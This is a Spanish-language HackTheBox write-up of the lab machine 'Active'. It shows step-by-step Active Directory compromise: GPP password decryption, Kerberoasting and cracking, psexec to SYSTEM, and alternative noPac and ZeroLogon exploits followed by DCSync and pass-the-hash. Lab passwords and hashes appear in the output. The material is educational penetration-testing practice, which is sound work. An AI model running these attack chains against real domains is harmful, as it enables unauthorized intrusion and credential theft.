xchg2pwn

xchg2pwn


Entusiasta del reversing y desarrollo de exploits



HackTheBox

Active



Enumeración


Iniciamos la máquina escaneando los puertos de la máquina con nmap, donde encontramos varios puertos abiertos, entre ellos ldap, kerberos, smb, etc.

❯ nmap 10.10.10.100
Nmap scan report for 10.10.10.100  
PORT      STATE SERVICE
53/tcp    open  domain
88/tcp    open  kerberos-sec
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
389/tcp   open  ldap
445/tcp   open  microsoft-ds
464/tcp   open  kpasswd5
593/tcp   open  http-rpc-epmap
636/tcp   open  ldapssl
3268/tcp  open  globalcatLDAP
3269/tcp  open  globalcatLDAPssl
49152/tcp open  unknown
49153/tcp open  unknown
49154/tcp open  unknown
49155/tcp open  unknown
49157/tcp open  unknown
49158/tcp open  unknown

Con crackmapexec a nivel de smb podemos el nombre DC que indica que es el Domain Controller, pero tambien encontramos el dominio de la máquina active.htb

❯ crackmapexec smb 10.10.10.100
SMB         10.10.10.100  445    DC               [*] Windows 6.1 Build 7601 x64 (name:DC) (domain:active.htb) (signing:True) (SMBv1:False)  

Para que sepa a donde resolver cuando apuntemos al dominio active.htb lo agregaremos al archivo /etc/hosts pensando en futuros ataques que pueda haber

❯ echo "10.10.10.100 active.htb" | sudo tee -a /etc/hosts  

Listando recursos compartidos en smb encontramos un directorio Replication que es el unico que generalmente no esta por defecto en los sistemas Windows

❯ crackmapexec smb active.htb -u '' -p '' --shares
SMB         10.10.10.100  445    DC               [*] Windows 6.1 Build 7601 x64 (name:DC) (domain:active.htb) (signing:True) (SMBv1:False)  
SMB         10.10.10.100  445    DC               [+] active.htb\: 
SMB         10.10.10.100  445    DC               [*] Enumerated shares
SMB         10.10.10.100  445    DC               Share           Permissions     Remark
SMB         10.10.10.100  445    DC               -----           -----------     ------
SMB         10.10.10.100  445    DC               ADMIN$                          Remote Admin
SMB         10.10.10.100  445    DC               C$                              Default share
SMB         10.10.10.100  445    DC               IPC$                            Remote IPC
SMB         10.10.10.100  445    DC               NETLOGON                        Logon server share 
SMB         10.10.10.100  445    DC               Replication     READ            
SMB         10.10.10.100  445    DC               SYSVOL                          Logon server share 
SMB         10.10.10.100  445    DC               Users

Nos conectamos al recurso Replication con smbclient donde encontramos un directorio llamado active.htb que a su vez tiene mas directorios dentro de el

❯ impacket-smbclient active.htb
Impacket v0.11.0 - Copyright 2023 Fortra

Type help for list of commands
# use Replication
# ls
drw-rw-rw-          0  Sat Jul 21 06:37:44 2018 .
drw-rw-rw-          0  Sat Jul 21 06:37:44 2018 ..
drw-rw-rw-          0  Sat Jul 21 06:37:44 2018 active.htb
# cd active.htb
# ls
drw-rw-rw-          0  Sat Jul 21 06:37:44 2018 .
drw-rw-rw-          0  Sat Jul 21 06:37:44 2018 ..
drw-rw-rw-          0  Sat Jul 21 06:37:44 2018 DfsrPrivate  
drw-rw-rw-          0  Sat Jul 21 06:37:44 2018 Policies
drw-rw-rw-          0  Sat Jul 21 06:37:44 2018 scripts
#

Después de navegar entre los directorios dentro de otros encontramos un archivo Groups.xml dentro de el directorio Groups dentro de varios otros, en versiones anteriores de windows las contraseñas asociadas a la GPP se almacenaban en un xml y aunque esto se modificó en 2014 no afectó las directivas ya creadas

# cd \active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\Machine\Preferences\Groups  
# ls
drw-rw-rw-          0  Sat Jul 21 06:37:44 2018 .
drw-rw-rw-          0  Sat Jul 21 06:37:44 2018 ..
-rw-rw-rw-        533  Sat Jul 21 06:38:11 2018 Groups.xml
# get Groups.xml
#


Access - SVC_TGS


Leyendo el archivo xml (se ha modificado la identación para hacerlo mas legible) podemos encontrar un campo cpassword que parece ser una cadena cifrada,

<?xml version="1.0" encoding="utf-8"?>
<Groups clsid="{3125E937-EB16-4b4c-9934-544FC6D24D26}">
  <User clsid="{DF5F1855-51E5-4d24-8B1A-D9BDE98BA1D1}" name="active.htb\SVC_TGS" image="2" changed="2018-07-18 20:46:06" uid="{EF57DA28-5F69-4530-A59E-AAB58578219D}">
    <Properties action="U" newName="" fullName="" description="" cpassword="edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ" changeLogon="0" noChange="1" neverExpires="1" >  
  </User>
</Groups>

Podemos decifrarlo con gpg-decrypt y obtenemos lo que parece ser una contraseña probablemente para el usuario SVC_TGS que también podemos ver en el xml

❯ gpp-decrypt edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ  
GPPstillStandingStrong2k18

Al comprobarla con crackmapexec podemos ver que es válida y listando los recursos compartidos tenemos permiso de lectura en el recurso compartido Users

❯ crackmapexec smb 10.10.10.100 -u SVC_TGS -p GPPstillStandingStrong2k18 --shares
SMB         10.10.10.100  445    DC               [*] Windows 6.1 Build 7601 x64 (name:DC) (domain:active.htb) (signing:True) (SMBv1:False)  
SMB         10.10.10.100  445    DC               [+] active.htb\SVC_TGS:GPPstillStandingStrong2k18 
SMB         10.10.10.100  445    DC               [+] Enumerated shares
SMB         10.10.10.100  445    DC               Share           Permissions     Remark
SMB         10.10.10.100  445    DC               -----           -----------     ------
SMB         10.10.10.100  445    DC               ADMIN$                          Remote Admin
SMB         10.10.10.100  445    DC               C$                              Default share
SMB         10.10.10.100  445    DC               IPC$                            Remote IPC
SMB         10.10.10.100  445    DC               NETLOGON        READ            Logon server share 
SMB         10.10.10.100  445    DC               Replication     READ            
SMB         10.10.10.100  445    DC               SYSVOL          READ            Logon server share 
SMB         10.10.10.100  445    DC               Users           READ

Entramos proporcionando las credenciales que tenemos y podemos ver directorios de usuarios de la máquina entre ellos el directorio de SVC_TGS que somos nosotros

❯ impacket-smbclient active.htb/SVC_TGS:GPPstillStandingStrong2k18@active.htb  
Impacket v0.11.0 - Copyright 2023 Fortra

Type help for list of commands
# use Users
# ls
drw-rw-rw-          0  Sat Jul 21 14:39:20 2018 .
drw-rw-rw-          0  Sat Jul 21 14:39:20 2018 ..
drw-rw-rw-          0  Mon Jul 16 10:14:21 2018 Administrator
drw-rw-rw-          0  Mon Jul 16 21:08:56 2018 All Users
drw-rw-rw-          0  Mon Jul 16 21:08:47 2018 Default
drw-rw-rw-          0  Mon Jul 16 21:08:56 2018 Default User
-rw-rw-rw-        174  Mon Jul 16 21:01:17 2018 desktop.ini
drw-rw-rw-          0  Mon Jul 16 21:08:47 2018 Public
drw-rw-rw-          0  Sat Jul 21 15:16:32 2018 SVC_TGS
#

Podemos entrar en el escritorio del usuario SVC_TGS donde encontramos la primera flag asi que la descargamos usando el comando get y la leemos en local

# cd SVC_TGS\Desktop
# ls
drw-rw-rw-          0  Sat Jul 21 15:14:42 2018 .
drw-rw-rw-          0  Sat Jul 21 15:14:42 2018 ..
-rw-rw-rw-         34  Wed Oct 11 03:18:16 2023 user.txt  
# get user.txt
# exit

❯ cat user.txt
744**************************e3e


Shell - Administrator


Analizemos, el usuario es SVC_TGS, TGS es el nombre del hash que se obtiene al realizar un Kerberoasting Attack que se realiza cuando tienes credenciales validas (que las tenemos), con impacket-GetUserSPNs podemos probar el Kerberoasting

❯ impacket-GetUserSPNs -request active.htb/SVC_TGS:GPPstillStandingStrong2k18
Impacket v0.11.0 - Copyright 2023 Fortra

ServicePrincipalName  Name           MemberOf                                                  PasswordLastSet             LastLogon                   Delegation 
--------------------  -------------  --------------------------------------------------------  --------------------------  --------------------------  ----------
active/CIFS:445       Administrator  CN=Group Policy Creator Owners,CN=Users,DC=active,DC=htb  2018-07-18 14:06:40.351723  2023-03-16 17:00:58.625320             

$krb5tgs$23$*Administrator$ACTIVE.HTB$active.htb/Administrator*$09a952cad825a6d241760e649cfb414b$503a6f0d949c2a01ea1e56871e7f04c26396dface190fcd516a7eccac11a0bc060e2081fff28ab1e30e7545fb38cef7aadf404f061d7df0b58f5e506e5d9f89cedc897db8daa61793fb0b39497cfef978274dbf50137d134be4a561f972da470f7d2ebe4a5fe5c37a02b718b438e8dc14bfa39765b0f3a157728d1e3aace87983e5e09ea248e9f2f105f452ebb3f6de267701265c572712612a841f1b5c2034aba40e37e3960c442f1d5172b82515668c4eba6e19b5b195e8d8884d0901d89f9e8c9726eb3c1838980d4697fb7a48dc623e8eceff556595f161d30d87265164fe104ddf10e6169752e5f987b2de243ecab93091bba8fbd86166e8727159d199429e79490113abdd3bee976d62f3da2c54c1aac61c91a201be97af74d0681d475380ef706a7b8e0cf5e7af0df79813d8fc91e4f5c296cce933d97df8d3229de7ec5e856b8f28db8a07a1122932df83cc6b197842145dfe5e3d8addce35b571a6a0edd35d155486302face24bcff9b011c2c84c374d918d573b0b39e65d037aebcb01c1c8811620fab84f27f223dfc9f179964a4e153d5f2e989de225af17a4cfc33b6b95ac7b19b314462399a25653fc45bb6f096fc304c1872ebcb7c4f01d1c1491799aa1aeecb3990b20ecdf8a2f0b09b5a436daa10774f86dbaa24f0baf9652b499d5a8c10dfd5c279d2d9550131b755f5db0da4d56454c6dade09e90ba7c121105c5ad22fb46063cf2060183d85212d5f01a207146efaa59620149e119e27147b04a6cb51ea557d76a107960354a5641a4ff67843704bd00028dfb0fad2a427eb84361bbcccfb3093f90179ce2e3903b97439d3d270a617acbfb40c0166c8a97eb07715587b1be0ab95a624f4a81eefebd4ae1d7528a7c969b91338a6dc560e5bff96475ea0b9e1977d8522d52d3c35b2b3c074c8359ddb8243160b1ac0fdfc446857a2e58b9c253eccccebb0511d7cfccb1dafa6b527afdbe8a1518f561f6ecc6c0cf565e1e8506d9ca3ff1258a8c2bcc8dc3d200904a90d81623ebee31bb5dcd6be9780a31e2c3bb5abc7c7808b5b3d5237baae18b9b915caa04b05e55953be5a0d55447ee0e8580984b1e4c34e9556dd3a88e040dd243dcb094610db1716c77c59c1b0cc9a363ccd5c186076447831b2fbf5522cced9a7a8dffc811f6e3c9e2bba7a6f6fa4bdf75c03aae92b884a8b6cac6e1ef6e0a7e5a101d6c9303ead1a72411161c7d358eaa090d4cb226e23b39416a1a5d759314d  

Obtuvimos un hash de Administrator, con john aplicando fuerza bruta con el rockyou.txt, conseguimos su contraseña en texto claro Ticketmaster1968

❯ john -w:/usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt hash
Using default input encoding: UTF-8
Loaded 1 password hash (krb5tgs, Kerberos 5 TGS etype 23 [MD4 HMAC-MD5 RC4])  
Press 'q' or Ctrl-C to abort, almost any other key for status
Ticketmaster1968 (?)
Use the "--show" option to display all of the cracked passwords reliably
Session completed

Podemos comprobarlos con crackmapexec, y nos devuelve que son válidas y como es el usuario Administrator también devuelve Pwn3d! tenemos privilegios máximos

❯ crackmapexec smb 10.10.10.100 -u Administrator -p Ticketmaster1968
SMB         10.10.10.100  445    DC               [*] Windows 6.1 Build 7601 x64 (name:DC) (domain:active.htb) (signing:True) (SMBv1:False)  
SMB         10.10.10.100  445    DC               [+] active.htb\Administrator:Ticketmaster1968 (Pwn3d!)

Nos conectamos con psexec de impacket y como el usuario nt authority\system obtenemos una cmd ahora tenemos privilegios para poder leer la flag de root

❯ impacket-psexec active.htb/Administrator:Ticketmaster1968@10.10.10.100  
Impacket v0.11.0 - Copyright 2023 Fortra

[*] Requesting shares on 10.10.10.100.....
[*] Found writable share ADMIN$
[*] Uploading file EyxmRtlA.exe
[*] Opening SVCManager on 10.10.10.100.....
[*] Creating service bBra on 10.10.10.100.....
[*] Starting service bBra.....
[!] Press help for extra shell commands
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\Windows\system32> whoami
nt authority\system

C:\Windows\system32> type C:\Users\Administrator\Desktop\root.txt
457**************************19b

C:\Windows\system32>


Extra 1 - Administrator


Como alternativa podemos usar noPac, al explotarlo indicando el parametro -shell nos otorgara una cmd como el usuario nt authority\system directamente en el DC

❯ python3 noPac.py active.htb/SVC_TGS:GPPstillStandingStrong2k18 -use-ldap -shell -dc-ip 10.10.10.100  

███    ██  ██████  ██████   █████   ██████ 
████   ██ ██    ██ ██   ██ ██   ██ ██      
██ ██  ██ ██    ██ ██████  ███████ ██      
██  ██ ██ ██    ██ ██      ██   ██ ██      
██   ████  ██████  ██      ██   ██  ██████ 
    
[*] Current ms-DS-MachineAccountQuota = 10
[*] Selected Target dc.active.htb
[*] Total Domain Admins 1
[*] will try to impersonate Administrator
[*] Adding Computer Account "WIN-KD4S0HVLPGV$"
[*] MachineAccount "WIN-KD4S0HVLPGV$" password = q444Tp!wEz*)
[*] Successfully added machine account WIN-KD4S0HVLPGV$ with password q444Tp!wEz*).
[*] WIN-KD4S0HVLPGV$ object = CN=WIN-KD4S0HVLPGV,CN=Computers,DC=active,DC=htb
[*] WIN-KD4S0HVLPGV$ sAMAccountName == dc
[*] Saving a DC's ticket in dc.ccache
[*] Reseting the machine account to WIN-KD4S0HVLPGV$
[*] Restored WIN-KD4S0HVLPGV$ sAMAccountName to original value
[*] Using TGT from cache
[*] Impersonating Administrator
[*] 	Requesting S4U2self
[*] Saving a user's ticket in Administrator.ccache
[*] Rename ccache to Administrator_dc.active.htb.ccache
[*] Attempting to del a computer with the name: WIN-KD4S0HVLPGV$
[-] Delete computer WIN-KD4S0HVLPGV$ Failed! Maybe the current user does not have permission.  
[*] Pls make sure your choice hostname and the -dc-ip are same machine !!
[*] Exploiting..
[!] Launching semi-interactive shell - Careful what you execute

C:\Windows\system32>whoami
nt authority\system

C:\Windows\system32>


Extra 2 - Administrator


Como alternativa podemos ejecutar la vuln de zerologon hacia el DC, el servidor es vulnerable y logramos cambiar la contraseña del equipo por una cadena vacia

❯ python3 cve-2020-1472-exploit.py DC 10.10.10.100
Performing authentication attempts...
==========================================================================  
Target vulnerable, changing account password to empty string

Result: 0

Exploit complete!

Autenticandonos como el equipo DC$ con una cadena vacia como contraseña podemos hacer un DCSync y ver los hashes NT de todos los usuarios del dominio

❯ crackmapexec smb active.htb -u DC$ -p '' --ntds drsuapi
SMB         active.htb      445    DC               [*] Windows 6.1 Build 7601 x64 (name:DC) (domain:active.htb) (signing:True) (SMBv1:False)
SMB         active.htb      445    DC               [+] active.htb\DC$: 
SMB         active.htb      445    DC               [-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied 
SMB         active.htb      445    DC               [+] Dumping the NTDS, this could take a while so go grab a redbull...
SMB         active.htb      445    DC               Administrator:500:aad3b435b51404eeaad3b435b51404ee:5ffb4aaaf9b63dc519eca04aec0e8bed:::
SMB         active.htb      445    DC               Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
SMB         active.htb      445    DC               krbtgt:502:aad3b435b51404eeaad3b435b51404ee:b889e0d47d6fe22c8f0463a717f460dc:::
SMB         active.htb      445    DC               active.htb\SVC_TGS:1103:aad3b435b51404eeaad3b435b51404ee:f54f3a1d3c38140684ff4dad029f25b5:::  
SMB         active.htb      445    DC               DC$:1000:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

Ya con el hash NT del usuario Administrator haciendo un passthehash podemos autenticarnos con psexec y obtener una shell como nt authority\system

❯ impacket-psexec active.htb/Administrator@active.htb -hashes :5ffb4aaaf9b63dc519eca04aec0e8bed  
Impacket v0.11.0 - Copyright 2023 Fortra

[*] Requesting shares on active.htb.....
[*] Found writable share ADMIN$
[*] Uploading file QWEHANkC.exe
[*] Opening SVCManager on active.htb.....
[*] Creating service dUTI on active.htb.....
[*] Starting service dUTI.....
[!] Press help for extra shell commands
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\Windows\system32> whoami
nt authority\system

C:\Windows\system32>